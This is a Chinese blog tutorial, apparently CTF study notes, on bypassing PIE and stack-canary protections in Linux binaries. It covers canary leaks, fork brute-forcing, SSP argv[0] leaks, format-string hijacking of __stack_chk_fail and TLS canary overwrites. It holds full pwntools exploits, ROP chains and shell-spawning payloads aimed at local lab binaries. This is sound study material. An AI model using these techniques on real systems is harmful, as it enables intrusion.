郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

前言

上篇文章真的就是一改就花了一个月时间,然后发现篇幅有点太长了分割一下,感觉这篇也需要好久

image-20210326103216832

记录

几个未填坑的点

  • 如何计算出TLS的offset大小(EXP抄的,我也懵
  • SSP题目中,为什么当可执行文件足够小的时候,他的不同区段可能会被多次映射?

绕过PIE保护

测试代码(题目泄露地址)

//test.c
#include <unistd.h>
#include <stdio.h>
void vuln_func() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char *argv[]) {
printf("%p\n",&main);
vuln_func();
write(STDOUT_FILENO, "Hello world!\n", 13);
}

编译产生修改为-pie -fpie,与-pie -fno-pie不同的是,它不再对程序原始字节码做修改,而是使用了一类 __x86.get_pc.thunk函数,通过PC指针来做定位

gcc -m32 -fno-stack-protector -z noexecstack -pie -fpie test.c -o test2.out

image-20210326152720436

可以看到call函数的地址变成了上述我们所说的,由于**__x86.get_pc.thunk**的作用将下一条指令的地址赋值给EBX寄存器,然后通过加上一个偏移得到当前进程的GOT表的地址,并以此作为后续的基地址。

PIE技术的缺陷:我们知道,内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的。

image-20210326153042242

知道了这些我们就可以编写EXP了

from pwn import *
io = process('./test2.out')
elf = ELF('./test2.out')
libc = ELF('/lib32/libc.so.6')
context(os='linux', arch='x86', log_level='debug')
main_addr = int(io.recvline(), 16)#获取printf输出的main函数地址
start_addr = main_addr - elf.sym['main']#计算相对偏移
vuln_func_addr = start_addr + elf.sym['vuln_func']
write_plt = start_addr + elf.sym['write']
write_got = start_addr + elf.got['write']
print ("[*]write plt: " + hex(write_plt))
print ("[*]write got: " + hex(write_got))
print ("[*]main addr: " + hex(main_addr))
print ("[*]start addr: " + hex(start_addr))
print ("[*]vuln func addr: " + hex(vuln_func_addr))
print( "--" * 20)
print ("[*]sending payload1 to leak libc...")
ebx = start_addr + 0x2000 # 通过相对偏移加上PIE缺陷所得的地址获取到GOT表的地址
#这边的0X2000的值请看《ctf竞赛权威指南(PWN篇)》这本书的PIE解释
#0x699+0x1967=0x2000,为什么这样加呢?请看上面的PIE技术的缺陷,以及上面那张截图圈起来的两个值
payload1 = ("A"*132).encode() + p32(ebx) + b"AAAA" + p32(write_plt) + p32(vuln_func_addr) + p32(1) + p32(write_got) + p32(4)#根据__x86.get_pc.thunk的特性拼接地址,该特性多了一步call操作

io.send(payload1)

write_addr = u32(io.recv())
print ("[*]leak write addr: " + hex(write_addr))
libc_addr=write_addr - libc.symbols['write']
print ("[*]leak libc addr: " + hex(libc_addr))
system_addr = libc_addr+ libc.sym['system']
binsh_addr = libc_addr + next(libc.search(b'/bin/sh'))

payload2 = ("B" * 140).encode() + p32(system_addr) + p32(vuln_func_addr) + p32(binsh_addr)

io.send(payload2)
io.interactive()

image-20210326163537561

绕过CANNARY保护

保护原理就是在ebp的低地址添加一个随即值

High           +-----------------+
| | args |
| +-----------------+
| | return address |
| +-----------------+
| ebp => | ebp |
| +-----------------+
| ebp-4 => | canary value |
| +-----------------+
V | 局部变量 |
Low +-----------------+

泄露栈中的 Canary

Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。

利用示例

存在漏洞的示例源代码如下,编译为 32bit 程序并关闭 PIE 保护 (默认开启 NX,ASLR,Canary 保护)

// test.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
//gcc -m32 -no-pie test.c -o test3

这题只需要利用print函数的信息泄露获取到canary值的地址即可

from pwn import *
io = process('./test3')
elf = ELF('./test3')
libc = ELF('/lib32/libc.so.6')
context(os='linux', arch='x86', log_level='debug')
get_shell_func_addr = elf.sym['getshell']
print ("[*]get shell func addr: " + hex(get_shell_func_addr))
print( "--" * 20)
#利用两次for循环来获取canary_value的值
#第一次利用溢出获取返回的值,由于canary的保护我们不会覆盖到ebp,程序可以进行运行
payload1 = ("A"*100).encode()
io.sendline(payload1)#必须使用带'\n'的值进行poc结尾,也就是模拟回车键
#输出带有payload1和canary混合的值,用recvuntil来接收处理
recvuntil_value=io.recvuntil(payload1)
print (b"[*]recvuntil value: " + recvuntil_value)
canary_value = u32(io.recv(4))-0xa#0xa是\n的十六进制值,ASCII表对应
print ("[*]canary value: " + hex(canary_value))
print ("[*]canary value add 0xa: " + hex(canary_value+0xa))
payload2 = ("A"*100).encode()+p32(canary_value)+("A"*12).encode()+p32(get_shell_func_addr)
io.send(payload2)
io.recv()
io.interactive()

爆破Canary值

每次进程重启后的canary不同,且同一个进程中的每个线程的canary也不同。但是如果程序通过fork函数开启子进程交互的话,fork函数会直接拷贝父进程的内存,因此每次创建的子进程的canary是相同的。我们可以利用这样的特点,逐个字节将canary爆破出来。

//test.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>

void getflag(void) {
char flag[100];
FILE *fp = fopen("./flag", "r");
if (fp == NULL) {
puts("get flag error");
exit(0);
}
fgets(flag, 100, fp);
puts(flag);
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}

void fun(void) {
char buffer[100];
read(STDIN_FILENO, buffer, 120);
}

int main(void) {
init();
pid_t pid;
while(1) {
pid = fork();
if(pid < 0) {
puts("fork error");
exit(0);
}
else if(pid == 0) {
puts("welcome");
fun();
puts("recv sucess");
}
else {
wait(0);
}
}
}

//gcc -m32 -no-pie test.c -o test4
//echo "hello wrod by ascotbe" > flag

可以看到源码里面溢出点是100个字符,并且运行程序如果一直按回车会启动N个进程

image-20210401114355036

因为canary的 最后的一个字节总是0x00(为了截断数据,小端排序),所以只需要爆破剩下的三个字节就可以了,每次尝试一个字节,如果程序顺利执行得到结果welcome\n,否则程序崩溃,通过穷举就能爆破处正确的canary值。64位的话爆破7位。

from pwn import *
io = process('./test4')
elf = ELF('./test4')
context(os='linux', arch='x86', log_level='debug')
get_flag_func_addr = elf.sym['getflag']
io.recvuntil('welcome\n')
canary = b'\x00'
test=[]
for j in range(3):
for i in range(256):
io.send(('a'*100).encode()+ canary + bytes([i]))#int转换成bytes用这个方法,可以直接转换为16进制的
a = io.recvuntil('welcome\n')
if b'recv' in a:
canary += bytes([i])
print(b"[*] Blasting out byte :"+canary)
break

print(b"[*] canary is :"+canary)
payload=('a'*100).encode() + canary+ ('a'*12).encode() + p32(get_flag_func_addr)
io.sendline(payload)
flag = io.recv()
io.close()
log.success("flag is:" + flag.decode())

弱类型语言类型转换真的有点恶心

image-20210401173411704

SSP(Stack Smashing Protector )

利用原理是Canary值被修改然后函数不能正常执行,会call __stack_chk_fail打印**argv[0]**这个指针指向的字符串,默认是程序的名字。

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

如果我们把它覆盖为flag的地址时,它就会把flag给打印出来,注意不要用原来flag的地址覆盖,因为原来存储flag的地址会被overwrite,但是由于ELF的映射方式,此flag会被映射两次,另一个地方的flag的内容不会变,原因是__stack_chk_fail会调用libc_message

题目地址 备用地址

我们使用IDA查看一下代码,可以发现溢出点在下面这段代码中的_IO_getc函数中

while ( 1 )
{
v1 = _IO_getc(stdin);
if ( v1 == -1 )
goto LABEL_9;
if ( v1 == 10 )
break;
byte_600D20[v0++] = v1;
if ( v0 == 32 )
goto LABEL_8;
}

双击byte_600D20可以看到这样的画面

.data:0000000000600D20 ; char byte_600D20[]
.data:0000000000600D20 byte_600D20 db 50h ; DATA XREF: sub_4007E0+6E↑w
.data:0000000000600D21 aCtfHereSTheFla db 'CTF{Here',27h,'s the flag on server}',0
.data:0000000000600D21 _data ends

由此可知,服务器端中的 flag 应该也在这个位置上。接下来我们需要下个断点来进入main函数,但是由于程序经过了strip处理,没有debug信息,所以我们需要下断点到__libc_start_main函数才能看到,可以看到RDI的值才是main函数的真正入口

image-20210402134315830

0x7fffffffe269指向程序名,其自然就是argv[0],所以我们修改的内容就是这个地址。
同时0x7fffffffded8处保留着该地址,所以我们真正需要的地址是0x7fffffffded8

接着我们需要找到栈顶到这个argv[0]的偏移,从而方便我们计算出需要填充的字符个数

image-20210403203337757

image-20210406215300344

从图中我们可以知道,我们只需要把断点下到_IO_gets这个函数之前就能获取到argv[0]的偏移,接着可以看到

image-20210406215520252

地址是0x40080E,我们只需要在这个位置下个断点,看RSP的值即可

image-20210406220110587

所以偏移值为0x7fffffffded8 - 0x7fffffffdcc0 = 0x218

gdb-peda$ find CTF
Searching for 'CTF' in: None ranges
Found 2 results, display max 2 items:
smashes : 0x400d21 ("CTF{Here's the flag on server}")
smashes : 0x600d21 ("CTF{Here's the flag on server}")

接着找到flag的值,但是看上文中有两个值,我们直接是用0x400d21这个值

据网上的WP说法,ELF的重映射,当可执行文件足够小的时候,他的不同区段可能会被多次映射,留个坑后面填

#!/usr/bin/env python
# coding=utf-8

from pwn import *
io = process('./smashes')
elf = ELF('./smashes')
context(os='linux', arch='x86', log_level='debug')
get_main_func_addr = 0x7fffffffded8
get_io_gets_func_addr = 0x7fffffffdcc0
flag_addr = 0x400d21
offset=get_main_func_addr - get_io_gets_func_addr
print("[*] offset is :"+str(hex(offset)))
payload = ("A" * offset).encode() + p64(flag_addr)

io.recvuntil("Hello!\nWhat's your name?")
io.sendline(payload)
io.recv()
io.sendline(payload)
io.interactive()

可以看到最终我们输出了flag的值

image-20210406222753429

劫持stack_chk_fail函数

从SSP中我们可以得知Canary失败的处理逻辑会进入到 __stack_chk_failed函数,__stack_chk_failed函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。

漏洞存在点

格式化字符串是一种很常见的漏洞,其产生根源是printf函数设计的缺陷,printf函数它并不知道自己现在的参数个数有几个,但是它的内部却有个指针用来索检格式化字符串。对于遇到特定类型%,就去执行取相应参数的值,直到索检到格式化字符串结束。如果printf语句没有带格式化字符参数的话,那么就一定存在格式化字符串漏洞。

格式化字符

格式字符 意义
d 以十进制形式输出带符号整数(正数不输出符号)
o 以八进制形式输出无符号整数(不输出前缀0)
x 以十六进制形式输出无符号整数(不输出前缀Ox)
u 以十进制形式输出无符号整数
f 以小数形式输出单、双精度实数
e 以指数形式输出单、双精度实数
g 以%f或%e中较短的输出宽度输出单、双精度实数
c 输出单个字符
s 输出字符串
p 输出指针地址,可以用来计算格式化字符的偏移
n 将%n之前已经打印的字符个数赋值给偏移处指针所指向的地址位置
  • %hhn 向某地址写入1字节
  • %hn 向某个地址写入2字节
  • %n 向某个地址写入4字节
  • %lln 向某地址写入8字节

漏洞的利用手段

  • 搞破坏,使程序崩溃。

    因为%s对应的参数地址不合法的概率还是比较大的。所以直接输入无数个%s让其遇到不合法地址然后崩溃。

  • 泄露内存

    泄露栈内容:获取某个变量的值;获取某个变量对应地址的内存。

    32bit:   %n$x : 返回栈上第(n+1)个参数的值
    64bit: %n$p 或者 %n$llx (64bit) :返回栈上第(n-5)个参数的值

    泄露任意地址内存:利用got表得到libc函数地址,进而获取其他libc函数地址;盲目地dump整个程序,获取有用信息。

    32bit:   %n$s:把栈上第n+1个参数的值作为地址,返回该地址内存的值
    64bit: %n$s:把栈上第n-5个参数的值作为地址,返回该地址内存的值
  • 修改内存数据

    %***c%n$n:  把栈上第n+1个参数的值作为地址,将该地址的高32bit值改为 hex(***)
    %***c%n$hn: 把栈上第n+1个参数的值作为地址,将该地址的高16bit值改为 hex(***)
    %***c%n$hhn:把栈上第n+1个参数的值作为地址,将该地址的高8bit值改为 hex(***)
    [64bit下,(n+1)变为(n-5)即可 ]

控制符 %n 的利用

在格式化控制符中有一个 %n ,它用于把当前输出的所有数据的长度写回一个变量中去。

由于可能会造成溢出漏洞从而进程被恶意代码劫持,现如今该控制符貌似很早之前就被弃用了。
现在只有在 vc 6.0++ 和 linux 上还可以用。

举一个栗子:

#include<stdio.h>
int main(int argc, char const *argv[])
{
int length=0;
printf("hello%n\n",&length);
printf("%d\n",length);
return 0;
}
//输出:
//hello
//5

该程序首先会输出 hello ,然后把字符串长度5存回 &length变量里,第二次输出length变量的值即是5。

任意地址写(32位)

32位的地址在前面,64位的地址在后面

payload=p32(system_addr)+ '%012c' + '%6$n'
  • 举个栗子方便理解

    比如payload为 \x8c\x97\x04\x08%2048c%5$n ,那么我们就可以把0x0804978c地址里的内容修改为**0x804 **(2048+4字节)

  • 再举个栗子

    例如要把printf的地址 修改为 system地址。我们采取单字节的修改。

    printf_got=0x08049778  
    system_plt=0x08048320
    payload=p32(printf_got)+p32(printf_got+1)+p32(printf_got+2)+p32(printf_got+3)
    payload+="%"+str(0x20-16)+"c%5$hhn"
    payload+="%"+str(0x83-0x20)+"c%6$hhn"
    payload+="%"+str(0x104-0x83)+"c%7$hhn"
    payload+="%"+str(0x08-0x04)+"c%8$hhn"
任意地址写(64位)

下面题目的EXP,我们采取2字节的修改。

payload="%64c%9$hn%1510c%10$hnAAA" + p64(stack_chk_fail+2) + p64(stack_chk_fail)

具体解释看题解内容即可

题解

题目地址 备用地址

从IDA中可以看到main函数有Canary保护

image-20210409000213211

并且函数中有格式化字符串漏洞

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-30h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
read(0, &buf, 0x38uLL);
printf(&buf, &buf);
return 0;
}

存在后门函数backdoor

unsigned __int64 backdoor()
{
unsigned __int64 v0; // ST08_8

v0 = __readfsqword(0x28u);
system("cat flag");
return __readfsqword(0x28u) ^ v0;
}

首先我们看下格式化字符的偏移,运行程序输入

AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

可以看到输出内容,我们的41414141在第六个参数中

ascotbe@ubuntu:~/Desktop/PWN$ ./r2t4 
AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA0x7ffeaa5d0250.0x38.0x7fa6a53fe320.0x400730.0x7fa6a56e1af0.0x252e702541414141.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x87ab0a70252e7025.0x4006c0.0x7fa6a5327840.0x1
*** stack smashing detected ***: ./r2t4 terminated
���@Aborted (core dumped)

接着从IDA中找到后门函数的地址,如下

Function name	| Segment |	      Start      |	 Length  |	
backdoor .text 0000000000400626 00000038

那我们可以直接写EXP了

from pwn import *

p=process("./r2t4")
elf=ELF("./r2t4")
context(arch='amd64',os='linux',log_level='debug')

system=0x400626
__stack_chk_fail=elf.got["__stack_chk_fail"]
print("[*] __stack_chk_fail is :"+str(hex(__stack_chk_fail)))
print("[*] __stack_chk_fail high is :"+str(p64(__stack_chk_fail+2)))
print("[*] __stack_chk_fail low is :"+str(p64(__stack_chk_fail)))
payload=b'%64c%9$hn%1510c%10$hnAAA' + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
p.sendline(payload)
p.interactive()

backdoor的地址是0x400626,利用格式化字符串漏洞把 __stack_chk_fail 的地址覆盖掉
%64c:0x40,替换backdoor的两位高字节0x0040
%64c%9$hn%1510c%10$hnAAA:占24个字符,24/8=3,偏移为6+3=9(之前算出的第六个参数中)
$hn:向某个地址写入双字节
%1510c:1510+64=0x0626,替换backdoor的两位高字节0x0626
AAA:是填充字符,填充到8的倍数
__stack_chk_fail+2__stack_chk_fail分别替换成backdoor的高两位字节和低两位字节

image-20210409035655552

输出了我们之前做题写的flag文件内容

覆盖 TLS 中储存的 Canary 值

TLS

通常在C程序中常存在全局变量、静态变量以及局部变量,对于局部变量来说,并不存在线程安全问题。而对于全局变量和函数内定义的静态变量,同一进程中各个线程都可以访问它们,因此它们存在多线程读写问题。

如果需要在一个线程内部的各个函数调用都能访问、但其它线程不能访问的变量(被称为static memory local to a thread 线程局部静态变量),就需要新的机制来实现,这就是TLS。当函数在不同的线程上被调用时,该线程会被分配新的栈,并且Canary会被放置在TLS上。TLS位于栈的顶部,当溢出长度较大时,可以同时覆盖返回地址前的 Canary 和 TLS 中的 Canary 实现绕过。

1

Glibc中设置Canary的过程

从glibc源码中可以看到,定义了THREAD_SET_STACK_GUARD时,Canary通过这个宏被设置;否则存入全局变量__stack_chk_guard

  /* Set up the stack checker's canary.  */
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
# ifdef THREAD_SET_STACK_GUARD
THREAD_SET_STACK_GUARD (stack_chk_guard);
# else
__stack_chk_guard = stack_chk_guard;
# endif

进一步查看THREAD_SET_STACK_GUARD定义

# define THREAD_SET_STACK_GUARD(value) \
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

查看THREAD_SETMEM,可以看到这个宏通过内联汇编,将vlaue,也就是Canary放入了fs寄存器的某个偏移处,而这个偏移处又是通过offsetof宏得到的pthread结构体某个成员的偏移,在上面的代码中,可以看到传入的是成员header.stack_guard

# define THREAD_SETMEM(descr, member, value) 												
({ if (sizeof (descr->member) == 1)
asm volatile ("movb %b0,%%fs:%P1" :
: "iq" (value),
"i" (offsetof (struct pthread, member)));
else if (sizeof (descr->member) == 4)
asm volatile ("movl %0,%%fs:%P1" :
: IMM_MODE (value),
"i" (offsetof (struct pthread, member)));
else
{
if (sizeof (descr->member) != 8)
/* There should not be any value with a size other than 1,
4 or 8. */
abort ();

asm volatile ("movq %q0,%%fs:%P1" :
: IMM_MODE ((uint64_t) cast_to_integer (value)),
"i" (offsetof (struct pthread, member)));
}})

pthread是一个超大的结构体,这里略去余下部分

...
struct pthread
{
union
{
#if !TLS_DTV_AT_TP
/* This overlaps the TCB as used for TLS without threads (see tls.h). */
tcbhead_t header;
...

Canary正是存储在tcbhead_t中的stack_guard,根据变量类型可以计算出在32位和64位上的偏移:

32位 gs:0x14 (0x4×3+0x4×3+0x4)

64位 fs:0x28(0x8×3+0x4×3+0x8)

typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
unsigned long int vgetcpu_cache[2];
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
int __glibc_unused1;
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
/* The lowest address of shadow stack, */
unsigned long long int ssp_base;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t. */
__128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));

void *__padding[8];
} tcbhead_t;

题解

题目地址 libc-2.23.so下载

//babystack.c
//gcc -fstack-protector-strong -s -pthread babystack.c -o babystack -Wl,-z,now,-z,relro
#include <errno.h>
#include <stdio.h>
#include <pthread.h>
#include <asm/prctl.h>
#include <sys/prctl.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

size_t get_long() {
char buf[8];
fgets(buf, 8, stdin);
return (size_t)atol(buf);
}
size_t readn(int fd, char *buf, size_t n) {
size_t rc;
size_t nread = 0;
while (nread < n) {
rc = read(fd, &buf[nread], n-nread);
if (rc == -1) {
if (errno == EAGAIN || errno == EINTR) {
continue;
}
return -1;
}
if (rc == 0) {
break;
}
nread += rc;

}
return nread;
}
void * start() {
size_t size;
char input[0x1000];
memset(input, 0, 0x1000);
puts("Welcome to babystack 2018!");
puts("How many bytes do you want to send?");
size = get_long();
if (size > 0x10000) {
puts("You are greedy!");
return 0;
}
readn(0, input, size);
puts("It's time to say goodbye.");
return 0;
}

int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
pthread_t t;
puts("");
puts(" # # #### ##### ######");
puts(" # # # # # #");
puts("### ### # # #####");
puts(" # # # # #");
puts(" # # # # # #");
puts(" #### # #");
puts("");
pthread_create(&t, NULL, &start, 0);
if (pthread_join(t, NULL) != 0) {
puts("exit failure");
return 1;
}
puts("Bye bye");
return 0;
}
大体思路
  • 通过padding爆破填充a修改TLS中的canary为aaaaaaaa,从而绕过栈溢出保护(这里必须是线程的题目,而且输入足够大才行!)
  • 泄露出puts的got地址得到真实的基地址,用于getshell
  • 利用栈迁移,在bss段中开辟一个空间来写one_gadget来payload

我们看多线程中的反汇编函数,可以看到参数s的大小是0x1010,而v2可以允许0x10000

void *__fastcall start_routine(void *a1)
{
unsigned __int64 v2; // [rsp+8h] [rbp-1018h]
char s; // [rsp+10h] [rbp-1010h]
unsigned __int64 v4; // [rsp+1018h] [rbp-8h]

v4 = __readfsqword(0x28u);
memset(&s, 0, 0x1000uLL);
puts("Welcome to babystack 2018!");
puts("How many bytes do you want to send?");
v2 = sub_400906("How many bytes do you want to send?", 0LL);
if ( v2 <= 0x10000 )
{
sub_400957(0LL, &s, v2);
puts("It's time to say goodbye.");
}
else
{
puts("You are greedy!");
}
return 0LL;
}

然后看sub_400906函数,结合上个函数的传参可以看到read函数有明显的溢出,但是有canary保护,而且是线程,所以我们这里学习一种新招式,TSL(线程局部存储)攻击,基本思路就是我们得覆盖很多个a到高地址,直到把TLS给覆盖从而修改了canary的值为a,绕过了canary后就可以栈溢出操作了。

signed __int64 __fastcall sub_400957(int a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v4; // [rsp+8h] [rbp-28h]
unsigned __int64 v5; // [rsp+20h] [rbp-10h]
ssize_t v6; // [rsp+28h] [rbp-8h]

v4 = a3;
v5 = 0LL;
while ( v5 < v4 )
{
v6 = read(a1, (void *)(v5 + a2), v4 - v5);
if ( v6 == -1 )
{
if ( *_errno_location() != 11 && *_errno_location() != 4 )
return -1LL;
}
else
{
if ( !v6 )
return v5;
v5 += v6;
}
}
return v5;
}

查找值

ascotbe@ubuntu:~/Desktop/PWN$ ROPgadget --binary babystack --only "pop|ret"
Gadgets information
============================================================
0x0000000000400bfc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400bfe : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c00 : pop r14 ; pop r15 ; ret
0x0000000000400c02 : pop r15 ; ret
0x0000000000400bfb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400bff : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400870 : pop rbp ; ret
0x0000000000400c03 : pop rdi ; ret
0x0000000000400c01 : pop rsi ; pop r15 ; ret
0x0000000000400bfd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400791 : ret
0x000000000040028b : ret 0x2800
0x000000000040097e : ret 0x8b48

Unique gadgets found: 13

主要就是覆盖TLS中的cancry值,然后加上ret2libc3题目的操作即可

下面两个POC都能跑,但是没搞懂如何计算出来的TLS长度为6218的。。。。

POC1

#!/usr/bin/env python

from pwn import *

with context.quiet:
p = process('./babystack', env = {'LD_PRELOAD': './libc-2.23.so'})

p.sendlineafter('How many bytes do you want to send?\n', str(0x1010 + 2008 + 8))

# puts(atol@GOT) to leak a libc address
payload = p64(0x400c03) # pop rdi; ret;
payload += p64(0x601ff0) # rdi <= atol@GOT
payload += p64(0x4007c0) # jmp puts@PLT

# read(0, 0x602030, SIZE) to write the final payload somewhere in .bss
# luckily, there is a large value in rdx, so we don't need to provide it here
payload += p64(0x400c03) # pop rdi; ret;
payload += p64(0) # rdi <= stdin
payload += p64(0x400c01) # pop rsi; pop r15; ret;
payload += p64(0x602030) # rsi <= 0x602030 (somewhere in .bss)
payload += p64(0) # r15 <= garbage
payload += p64(0x4007e0) # jmp read@PLT

# pivot rsp into somewhere in .bss
payload += p64(0x400bfd) # pop rsp; pop r13; pop r14; pop r15; ret
payload += p64(0x602030) # rsp <= 0x602030 (somewhere in .bss)

p.send(
# garbage to fill out the buffer up to canary
'a' * (0x1010 - 8) + \
# fake canary
'b' * 8 + \
# saved rbp
'c' * 8 + \
# return address + ROP chain
payload + \
# garbage
'd' * (2000 - len(payload)) + \
# replace thread's stack guard with our fake canary
'b' * 8
)

# here the content of atol@GOT is printed
p.recvuntil("It's time to say goodbye.\n")
libc_base = u64(p.recv(6) + '\x00\x00') - 0x36ea0
print 'libc base: {}'.format(hex(libc_base))

'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
'''

one_gadget = libc_base + 0x4526a
print 'one gadget: {}'.format(hex(one_gadget))

# here we provide the final payload for exploitation
# since rsp is pivoted, we provide the rest of data here
p.sendline(
# pop r13; pop r14; pop r15; ret
# writing garbage to r13, r14, and r15
p64(0) * 3 + \
# after above ret, the shell will be executed
p64(one_gadget) + \
# write enough zeros in order to satify [rsp+0x30] == NULL constraint
'\x00' * 0x40
)

p.interactive()

POC2

# coding:utf-8
from pwn import *

libc = ELF("./libc-2.23.so")
def menu(bytes,data):
io.recvuntil("How many bytes do you want to send?\n")
io.sendline(str(bytes))
sleep(0.1)
io.send(data)

puts_plt = 0x4007C0
read_plt = 0x4007E0
leave_addr = 0x400A9B

pop_rdi_addr = 0x400c03
puts_got = 0x601FB0
pop_rbp_addr = 0x400870
pop_rsi_addr = 0x400c01

bss_addr = 0x602030

io = process('./bs',env = {"LD_PRELOAD" : "./libc-2.23.so"})
# context.log_level = 'debug'
payload = '\x00'*0x1010+p64(bss_addr-0x8)+p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt)
payload += p64(pop_rdi_addr) + p64(0)
payload += p64(pop_rsi_addr) + p64(bss_addr) + p64(0)
payload += p64(read_plt) + p64(leave_addr)
payload = payload.ljust(0x2000,'\x00')
menu(0x2000,payload)
io.recvuntil('It\'s time to say goodbye.\n')
base = u64(io.recv(6)+'\x00\x00')-libc.symbols['puts']
io.send(p64(base+0xf1147))
io.interactive()

参考文章

《ctf竞赛权威指南(PWN篇)》
https://ctf-wiki.org/pwn/linux/mitigation/canary/
https://www.jianshu.com/p/b0b254b94afe
http://6par.top/2020/07/05/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/
http://www.int0x80.top/BypassCanary/